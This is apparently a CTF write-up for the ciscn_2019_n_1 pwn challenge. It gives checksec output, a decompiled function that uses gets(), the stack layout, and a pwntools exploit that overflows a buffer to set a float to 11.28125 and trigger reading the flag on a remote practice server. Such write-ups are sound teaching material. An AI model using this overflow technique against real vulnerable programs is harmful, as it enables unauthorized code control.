HugeH4rD

ciscn_2019_n_1

---

Ubuntu 18

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/ciscn_2019_n_1/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found //栈溢出漏洞
    NX:       NX enabled
    PIE:      No PIE (0x400000)

IDA

func函数

int func()
{
  int result; // eax
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1); //gets()函数栈溢出 v1覆盖v2=11.28125
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

v1&v2的栈布局

-0000000000000030 var_30          db 44 dup(?)
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

0x02

---

思路

1.IDA得到11.28125的hex

​ dword_4007F4处即为

2.v1覆盖v2

v1	v1=rsp-0x30
v1
v1
v1,v2	v2=rsp-0x4 0x41348000
rbp
ret

0x03

---

exp

from pwn import *

# io = process(['ciscn_2019_n_1'])
io = remote('node4.buuoj.cn', 25152)

v2 = 0x41348000
padding = 0x30 - 0x4
payload = b'a' * padding + p64(v2)

io.sendline(payload)
io.interactive()